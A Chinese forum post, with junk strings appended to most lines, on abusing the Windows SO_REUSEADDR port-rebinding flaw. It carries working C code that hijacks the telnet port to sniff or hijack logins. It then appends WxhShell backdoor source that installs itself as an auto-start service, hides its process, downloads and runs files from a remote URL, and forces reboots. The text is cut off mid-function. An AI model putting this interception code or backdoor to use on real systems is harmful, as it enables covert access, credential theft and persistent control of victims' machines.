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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &,\my-4c>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y6H`FFqK  
}5Km \OI  
  saddr.sin_family = AF_INET; @jZ1WHS_a  
f'Oj01[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :*t5?  
<uo@k'   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jm'^>p,9G  
-"x@V7X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \J-D@b;  
/U0,%  
  这意味着什么?意味着可以进行如下的攻击: FvD/z ;N  
~h3~<p#M`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E[FE-{B#  
KvO5-g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J M;WCV%NM  
02YmV%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $Xs`'>,"  
YmHu8H_Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o,/wE  
z0&Y_Up+5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,y}~rYsP%  
Z ?F_({im  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,Z8)DC=  
\]3[Xw-$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  LYyud  
&fE2zTz  
  #include EQ>@K-R  
  #include +.-mqtM  
  #include CbOCL~ "  
  #include    x X.{(er  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s'BlFB n  
  int main() , hp8b$  
  { l4U  
  WORD wVersionRequested; c/l^;6O/!\  
  DWORD ret; \4O_@d`A  
  WSADATA wsaData; C>QWV[F  
  BOOL val; 'k[vcnSz\/  
  SOCKADDR_IN saddr; ,G[Y< ~Hy  
  SOCKADDR_IN scaddr; a&7uRR26  
  int err; VDiW9]  
  SOCKET s; p@oz[017/J  
  SOCKET sc; Ue!yK  
  int caddsize; StiWa<"c  
  HANDLE mt; [n3@*)q's  
  DWORD tid;   q w @g7  
  wVersionRequested = MAKEWORD( 2, 2 ); U&#`5u6'j  
  err = WSAStartup( wVersionRequested, &wsaData ); RSnBG"  
  if ( err != 0 ) { WS%yV|e  
  printf("error!WSAStartup failed!\n"); /0XmU@B  
  return -1; ^zfs8]QSf  
  } #K!"/,d@>J  
  saddr.sin_family = AF_INET; )^ PWr^  
   I ^[[*Bh*C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $<3^( y  
eYevj[c;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YdN]Tqc  
  saddr.sin_port = htons(23); gJ^taUE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4zZ.v"laVM  
  { x~](d8*=  
  printf("error!socket failed!\n"); Vd'=Fe;eB  
  return -1; Xv+,Z<>iQ  
  } D2RvFlAXu  
  val = TRUE; \m=k~Cf:f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E;An':j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &q#. >  
  { ^z51f>C  
  printf("error!setsockopt failed!\n"); ?P/73p  
  return -1; ')Y1c O  
  } e$&n)>%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5<P6PHdY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *U`R<mV\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AS'+p%(  
8is QL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bCiyz+VyJn  
  { [2!C ^ \t  
  ret=GetLastError(); ~ e a K]|  
  printf("error!bind failed!\n"); ph~BxK )i6  
  return -1; ux6p2Sk;K  
  } k *>"@  
  listen(s,2); 7xfS%'=y"  
  while(1) %"WhD'*z}  
  { \s!x;nw[  
  caddsize = sizeof(scaddr); pF(6M3>IN  
  //接受连接请求 :>F3es`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9TwKd0AT$&  
  if(sc!=INVALID_SOCKET) I1I-,~hO  
  { <kWkc|z BY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "=V!-+*@G@  
  if(mt==NULL) U2v;GIo$yU  
  { c0;rvw7  
  printf("Thread Creat Failed!\n"); <~S]jtL.j:  
  break; >]uu?!PU  
  } dN7.W   
  } '*Ld,`  
  CloseHandle(mt); }$ Kd-cj+  
  } kI2+&  
  closesocket(s); ae](=OQ  
  WSACleanup(); /Z[HU{4  
  return 0; c e; zn\  
  }   lQy-&d|=#^  
  DWORD WINAPI ClientThread(LPVOID lpParam) |kTq &^$  
  { WBb*2  
  SOCKET ss = (SOCKET)lpParam; !Uv>>MCr  
  SOCKET sc; l]gW_wUQd  
  unsigned char buf[4096]; q([{WZ:6Oq  
  SOCKADDR_IN saddr; =^\?{oV  
  long num; %jHe_8=o  
  DWORD val; 1U?5/Ja  
  DWORD ret; H!>>|6OPF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v["_t/_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !~V^GlY  
  saddr.sin_family = AF_INET; h4+*ssnYV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d24_,o\_  
  saddr.sin_port = htons(23); ?'tRu !~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lD-2 5~YV  
  { ^Ai QNL}  
  printf("error!socket failed!\n"); 6ud<U#\b&  
  return -1; >0uj\5h)I]  
  } `6;$Z)=.  
  val = 100; ]2 $T 6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X4Pm&ol  
  { lxr;AJ(  
  ret = GetLastError(); j(k}NWPH  
  return -1; b*/Mco 9O  
  } #=;vg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Gn0|]KI  
  { X{<taD2~  
  ret = GetLastError(); ]Qa|9G,b  
  return -1; WW2hwB (  
  } i0J`{PbI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %wI)uJ2  
  { ;8^(Z  
  printf("error!socket connect failed!\n"); u?H.Z  
  closesocket(sc); U3` ?Z`i(  
  closesocket(ss); Eggu-i(rD  
  return -1; Pn6~66a6  
  } %(W8W Lz}  
  while(1) *)Cr1d k  
  { yqVoedN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *M_^I)*L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <q>d@Foi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )[|_q,  
  num = recv(ss,buf,4096,0); cG%X}ZV5  
  if(num>0) 7upWM~H^  
  send(sc,buf,num,0); yz5! >|EB  
  else if(num==0) : @eHV=|+>  
  break; )xKW  
  num = recv(sc,buf,4096,0); +r9neS.l  
  if(num>0) "z;R"sv\  
  send(ss,buf,num,0); ~"<^4h  
  else if(num==0) |lZp5MOc  
  break; ~sPXkLqK  
  } 1[$zdv{A  
  closesocket(ss); W0Y ,3;0  
  closesocket(sc); 5jUy[w @  
  return 0 ; D$*o}*mb  
  } Yl:[b{Py  
{cb<9Fii  
;r&Z?B$  
========================================================== s9OW.i]zX  
M_ >kefr  
下边附上一个代码,,WXhSHELL >/lB%<$/  
*'-t_F';  
========================================================== >,h{`  
ByO?qft>u  
#include "stdafx.h" 9%"`9j~H>  
k7;i^$@c  
#include <stdio.h> \=]`X2Ld  
#include <string.h> 9+xO2n  
#include <windows.h> C&R U  
#include <winsock2.h> +8x_f0 <  
#include <winsvc.h> V aG Qre  
#include <urlmon.h> SMJRoK3  
aM(#J7;  
#pragma comment (lib, "Ws2_32.lib") { 0&l*@c&  
#pragma comment (lib, "urlmon.lib") h/5S2EB0!O  
G--(Ef%v'  
#define MAX_USER   100 // 最大客户端连接数 ZS;V?]\(  
#define BUF_SOCK   200 // sock buffer 4d}=g]P  
#define KEY_BUFF   255 // 输入 buffer Xo] 2iQy  
+^&i(7a[?  
#define REBOOT     0   // 重启 /BD'{tZ]Sl  
#define SHUTDOWN   1   // 关机 ]!@=2kG4  
*Uj;a.  
#define DEF_PORT   5000 // 监听端口 Uzc p  
LHXR7Fjc  
#define REG_LEN     16   // 注册表键长度 6vR6=@(`>  
#define SVC_LEN     80   // NT服务名长度 Xt$P!~Lu  
LExm#T`  
// 从dll定义API !{+.)%d'g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '`. -75T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v9Sk\9}S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 32?'jRN(ue  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / o I 4&W  
/3K)$Er  
// wxhshell配置信息 19c_=$mV  
struct WSCFG { &qWB\m  
  int ws_port;         // 监听端口  -gS9I^  
  char ws_passstr[REG_LEN]; // 口令 *hJWuMfY,  
  int ws_autoins;       // 安装标记, 1=yes 0=no #ojuSS3  
  char ws_regname[REG_LEN]; // 注册表键名 2f@Cy+W'[  
  char ws_svcname[REG_LEN]; // 服务名 m'"H1~BW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l>`66~+s,`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }^$1<GT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ry"4v_e9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #+V4<o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sgGA0af  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a0gg<Ml  
 ;<B  
}; s%`l>#H  
VHMQY*lk  
// default Wxhshell configuration 0Xw>_#Y/xS  
struct WSCFG wscfg={DEF_PORT, )h&@}#A09  
    "xuhuanlingzhe", cNxxX!P/  
    1, sxph#E%  
    "Wxhshell", ,Xfu?Yan  
    "Wxhshell", =~Qg(=U0U  
            "WxhShell Service", zrG  
    "Wrsky Windows CmdShell Service", VPuR4 p.  
    "Please Input Your Password: ", CfP-oFHoQ  
  1, 3S]Q IZ1  
  "http://www.wrsky.com/wxhshell.exe", =_zo  
  "Wxhshell.exe" 8.N`^Nj 1  
    }; _ahp7-O  
v[{7\Hha  
// 消息定义模块 G9LWnyQt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5N%d Les  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K: $mEB[c<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #jG?{j3;?  
char *msg_ws_ext="\n\rExit."; ?kQY ^pU  
char *msg_ws_end="\n\rQuit."; v @0G^z|  
char *msg_ws_boot="\n\rReboot..."; 'TH[Db'`I  
char *msg_ws_poff="\n\rShutdown..."; o:W*#dt  
char *msg_ws_down="\n\rSave to "; Qg~w 3~  
s(5hFuyg  
char *msg_ws_err="\n\rErr!"; UH}lKc=t  
char *msg_ws_ok="\n\rOK!"; 1Q!^*D  
2EZ7Vdz2  
char ExeFile[MAX_PATH]; !#W>x49}  
int nUser = 0; 0F%8d@Y2  
HANDLE handles[MAX_USER]; d=%NFCIV  
int OsIsNt; `iM%R3&  
]k^?=  
SERVICE_STATUS       serviceStatus; N{Z+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ej&.tNvq  
,52 IR[I<T  
// 函数声明 [f6BA|   
int Install(void); }u3|w0~c)  
int Uninstall(void); Nc{&AV8Y_v  
int DownloadFile(char *sURL, SOCKET wsh); gN:F50   
int Boot(int flag); 'uDx$AkY  
void HideProc(void); Ui (nMEon  
int GetOsVer(void); Fj~suZ`  
int Wxhshell(SOCKET wsl); %aMC[i  
void TalkWithClient(void *cs); G$V=\60a-  
int CmdShell(SOCKET sock); `x#S. b  
int StartFromService(void); .24z+|j  
int StartWxhshell(LPSTR lpCmdLine); av|T|J/(  
FGHCHSqLq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2&n6:"u|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YX-j|m|  
."^\1N(.n  
// 数据结构和表定义 |C z7_Rn  
SERVICE_TABLE_ENTRY DispatchTable[] = )1M2}11uS  
{ ,3T"fT-(  
{wscfg.ws_svcname, NTServiceMain}, Uoe;=P@  
{NULL, NULL} P658 XKE  
}; -sKtT 9o  
0 3v&k  
// 自我安装 p<L{e~{!7f  
int Install(void) MQx1|>rG  
{ gMF6f%  
  char svExeFile[MAX_PATH]; 7:pc%Ksq  
  HKEY key; (1^;l;7H  
  strcpy(svExeFile,ExeFile); 6Yodx$  
ud5}jyJ  
// 如果是win9x系统,修改注册表设为自启动 3lZl  
if(!OsIsNt) { vVvF e~y]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5G\OINxy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MJ?t{=  
  RegCloseKey(key); vbeE}7 *2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jIe /X]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ E6e~  
  RegCloseKey(key); y.D+M$f  
  return 0; gs3(B/";c  
    } z=U+FHdh/-  
  } hIV]ZYbH  
} 6JZ>&HA  
else { E9j<+Ik  
-_5Dk'R#`  
// 如果是NT以上系统,安装为系统服务 ZM-P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Ex[}y9L`  
if (schSCManager!=0) JFX}))7  
{ }lX$KuD  
  SC_HANDLE schService = CreateService OHBCanZZ,  
  ( dLb$3!3  
  schSCManager, _3 oo%?}  
  wscfg.ws_svcname, VED~v#.c  
  wscfg.ws_svcdisp, *w(n%f  
  SERVICE_ALL_ACCESS, t :YZua  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3\j`g  
  SERVICE_AUTO_START, 4Xa] yA =  
  SERVICE_ERROR_NORMAL, :FS5BT$=  
  svExeFile, bk<Rp84vL  
  NULL, b<~8\\ &  
  NULL, ^`id/  
  NULL, uBt ]4d*  
  NULL, pIC'nO_  
  NULL +vxf_*0;  
  ); \)t//0  
  if (schService!=0) d;l%XZe  
  { sGhw23  
  CloseServiceHandle(schService); !nkIXgWz  
  CloseServiceHandle(schSCManager); r/AOgS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^;a .;wR  
  strcat(svExeFile,wscfg.ws_svcname); E7\K{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >JE+g[$@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b5=|1SjR  
  RegCloseKey(key); j#2Xw25  
  return 0; J~WT;s  
    } +%\Ci!%b  
  } CqC )H7A  
  CloseServiceHandle(schSCManager); $ eI cCLF  
} 81y<Uz 6  
} 0{ mm%@o  
F<p`)?  
return 1; vLN KX;9  
} r D <T  
H%Vf$1/TF  
// 自我卸载 vA_,TS#Bo  
int Uninstall(void) mm +V*L{x  
{ _";w*lg}  
  HKEY key; jXf@JxQ  
)e3w-es~4  
if(!OsIsNt) { DmuQE~DV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p P@q `  
  RegDeleteValue(key,wscfg.ws_regname); !q,'k2= b,  
  RegCloseKey(key); JRz) A4P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N9G xJ6  
  RegDeleteValue(key,wscfg.ws_regname); .lb]Xa*n  
  RegCloseKey(key); K2x2Y=  
  return 0; QK6_dIvDz  
  } q1u$Sm  
} GNv{ Ij<  
} Cscu   
else { X:Wd%CHP  
v.8kGF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n4dNGp7\`  
if (schSCManager!=0) H}~K51  
{ *Oy* \cX2[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0;><@{'  
  if (schService!=0) Za!KM  
  { `mteU"{bx  
  if(DeleteService(schService)!=0) { +ho=0 >  
  CloseServiceHandle(schService); auAz>6L  
  CloseServiceHandle(schSCManager); k;cX,*DIn  
  return 0; 2#5Q~  
  } _J,rql@nG<  
  CloseServiceHandle(schService); .qohHJ&  
  } ,5W u  
  CloseServiceHandle(schSCManager); h?/E/>  
} P ah@d!%A  
} ](R /4  
{0F/6GwUC  
return 1; "t^RZ45  
} f4.jWBF  
"$(D7yFO  
// 从指定url下载文件 tL;.vRx  
int DownloadFile(char *sURL, SOCKET wsh) %$zak@3%'  
{ ;5X~"#%U_  
  HRESULT hr; AFL'Ox]0  
char seps[]= "/"; ]>[TF'pIAx  
char *token; i@rUZYF  
char *file; l#v52  
char myURL[MAX_PATH]; z{ eZsh b  
char myFILE[MAX_PATH]; jSvq1$U  
f:\)! &W  
strcpy(myURL,sURL); [n/c7Pe  
  token=strtok(myURL,seps); / S' +  
  while(token!=NULL) S'|PA7a}h  
  { o N A ]G]  
    file=token; Ewkx4,`Ff  
  token=strtok(NULL,seps); "AjC2P],  
  } h@O\j&#  
",aNYJR>*!  
GetCurrentDirectory(MAX_PATH,myFILE); `]l` t"x  
strcat(myFILE, "\\"); P^F3,'N  
strcat(myFILE, file); \e4AxLP  
  send(wsh,myFILE,strlen(myFILE),0); }U'9 d#N  
send(wsh,"...",3,0); 9a=:e=q3#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7WSP0Xyz  
  if(hr==S_OK) C=oeRc'r1W  
return 0; AlDp+"|  
else 8%;Wyqdf]  
return 1; 30WOH 'n  
9teP4H}m  
} 0/] h"5H3  
D`G;C  
// 系统电源模块 :I&y@@UG  
int Boot(int flag) /"`hz6rIv  
{ u*%mUh  
  HANDLE hToken; hx@@[sKF7  
  TOKEN_PRIVILEGES tkp; "__)RHH:8  
1qAE)8ie  
  if(OsIsNt) { <ivG(a*=]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LyvR].p=5*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xe&9| M  
    tkp.PrivilegeCount = 1;  yI|x 5f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F;`c0ja]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HFjSM~  
if(flag==REBOOT) { 8*b{8%<K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T&/ n.-@nk  
  return 0; MXl_{8  
} fCNQUK{Gs5  
else { e}{#VB<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *^; MWI  
  return 0; M {'(+a[  
} ?;UR9f|!  
  } :Wx7a1.Jz  
  else { g?xXX /Qe  
if(flag==REBOOT) { S)ipkuj X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CzreX3i  
  return 0; ehB '@_y  
} 6FUcg40Y  
else { p8j4Tc5tQ>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M]Vi]s  
  return 0; NL|c5y<r  
} *[ 0,QEy  
} 71E~~$  
0s//&'*Q  
return 1; $'>iNMtK{p  
} .?APDr"QQH  
\6 JY#%  
// win9x进程隐藏模块 <tZtt9j_  
void HideProc(void) 5#|&&$)  
{ 'z}9BGR !  
 ZaaBg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4w9=z,  
  if ( hKernel != NULL ) d5LBL'/o  
  { 6v scu2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _0u=}tc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U9PI#TX &O  
    FreeLibrary(hKernel); uAnL`  
  } W!" $g  
v~AshmP  
return; k t!@}QP  
} I _Lm[  
:/SGB3gb1t  
// 获取操作系统版本 @b 17jmq{  
int GetOsVer(void) D,p 2MBr  
{ 1jKj' 7/K  
  OSVERSIONINFO winfo; {G3Ok++hc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5ad@}7&  
  GetVersionEx(&winfo); J80&npsO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =ePwGm1:c  
  return 1; WRbdv{ 1E  
  else  \>"Zn7  
  return 0; X xwcvE  
} KRd'!bG=1  
XD6Kp[s  
// 客户端句柄模块 o@ ^^;30  
int Wxhshell(SOCKET wsl) ->{\7|^  
{ #%$@[4 "V  
  SOCKET wsh; YVF@v-v-,  
  struct sockaddr_in client; [Pq |6dz  
  DWORD myID; >2K'!@ ~'  
3zfpFgD!  
  while(nUser<MAX_USER) n87Uf$  
{ s+ *LVfau  
  int nSize=sizeof(client); mV"F<G; H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v#g:]T  
  if(wsh==INVALID_SOCKET) return 1; U . <c#S  
J<"Z6 '0v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &a\w+  
if(handles[nUser]==0) &'/PEOu&}G  
  closesocket(wsh); rcLF:gd] E  
else t vW0 W  
  nUser++; \jZmu  
  } p[|V7K'Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >#S}J LZ  
7|Wst)_~j  
  return 0; ]3]B$  
} .8'uIA{_2  
32j#kJW  
// 关闭 socket 9ec#'i=  
void CloseIt(SOCKET wsh) 753gcY#i  
{ .3XSF$;  
closesocket(wsh); pox;NdX7  
nUser--; Wo9=cYC)  
ExitThread(0); ia.+<, $`S  
} YGyw^$.w  
-`spu)  
// 客户端请求句柄 fK(:vwh  
void TalkWithClient(void *cs) j)Q}5M  
{ * >NML]#0  
{=!BzNMj  
  SOCKET wsh=(SOCKET)cs; ^^uY)AL  
  char pwd[SVC_LEN]; L1k  
  char cmd[KEY_BUFF]; l%i*.b(  
char chr[1]; -c0*  
int i,j; xjxX4_  
Om7 '_}  
  while (nUser < MAX_USER) { GX.a!XQ@!  
(Cti,g~  
if(wscfg.ws_passstr) { ]-heG'y]{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (yT&&_zY4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D&N3LH  
  //ZeroMemory(pwd,KEY_BUFF); }HbUB$5  
      i=0; $_a/!)bP  
  while(i<SVC_LEN) { VJr~h "[  
wB[ JFy"E  
  // 设置超时 mH<|.7~0  
  fd_set FdRead; Yu[MNX ;G  
  struct timeval TimeOut; *ZRk)  
  FD_ZERO(&FdRead); V^ ;l g[:  
  FD_SET(wsh,&FdRead); 'wBOnGi6  
  TimeOut.tv_sec=8; =b6G' O[  
  TimeOut.tv_usec=0; uE,T Ea9;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^MhMYA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B/~ubw  
Gh3f^PWnc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >*l2]3' `  
  pwd=chr[0]; 7Y 4D9pw  
  if(chr[0]==0xd || chr[0]==0xa) { Csgby(D*O  
  pwd=0; =@P(cFJ/  
  break; 8JMxA2tZhG  
  } n-wOLH  
  i++; `J{{E,y @  
    } h,fahbH -  
:Xx7':5  
  // 如果是非法用户,关闭 socket -=u9>S)!c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p[!9objU  
} 4q@[k: '  
I.2>d_^<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8y?q)y9h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7=wQ#bq"1P  
#aP;a-Q|k  
while(1) { #7J3,EV  
0o.h{BN  
  ZeroMemory(cmd,KEY_BUFF); _|{pO7x]oG  
!D 'A  
      // 自动支持客户端 telnet标准   S->Sp  
  j=0; 5VN~?#K  
  while(j<KEY_BUFF) { NfCo)C-t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O]25 {L  
  cmd[j]=chr[0]; I|/|\  
  if(chr[0]==0xa || chr[0]==0xd) { eNFA.*p<  
  cmd[j]=0; 94rx4"AN8;  
  break; N45@)s!F9j  
  } uE#i3( J  
  j++; 8rz ,MsFR  
    } f[OJ qk  
FT gt$I  
  // 下载文件  )Z:maz  
  if(strstr(cmd,"http://")) { i Nn?G C>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J,`I>^G  
  if(DownloadFile(cmd,wsh)) 4J[csU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pn}oSCo  
  else Qeq=4Nq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RHt~:D3*  
  } BJZGQrsz  
  else { eTtiAF=bW  
# o\&G@e}  
    switch(cmd[0]) { bU4\Yu   
  #vcQ =%;O  
  // 帮助 SR/ "{\C  
  case '?': { s*>B"#En  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DK%@ [D  
    break; bde6 ;=oM  
  } Y$ ZDJNz  
  // 安装 3KKq1][  
  case 'i': { &e4EZ  
    if(Install()) AeW_W0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xu{S4#1  
    else R"71)ob4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vrsOA@ee3H  
    break; pD6a+B\;k  
    } '&y+,2?;Y[  
  // 卸载 rAu@`H?  
  case 'r': { \#'m([<e  
    if(Uninstall()) 7<F{a"5P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[$Z<:D-ve  
    else WTC/mcS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oJ 0 #U  
    break; }M(XHw  
    } _^w^tfH]  
  // 显示 wxhshell 所在路径 X5P1wxk'  
  case 'p': { RJOyPZ]  
    char svExeFile[MAX_PATH]; P76QHBbl  
    strcpy(svExeFile,"\n\r"); k8ymOx  
      strcat(svExeFile,ExeFile); _M[T8"e(  
        send(wsh,svExeFile,strlen(svExeFile),0); (ZK(ODn)i  
    break; Biy$p6  
    } @IBU{{  
  // 重启 1,sD'iNb  
  case 'b': { u|&a!tOf2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [PU0!W;  
    if(Boot(REBOOT)) Io)@u~yz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `S/;S<';  
    else { J|o )c~  
    closesocket(wsh); d ?OsVT; U  
    ExitThread(0); ^/Frg<>'p  
    } +dK;\wT  
    break; 4ko(bW#jL  
    } d-$/C| J  
  // 关机 kM@heFJb.  
  case 'd': { \&X*-T[]j  
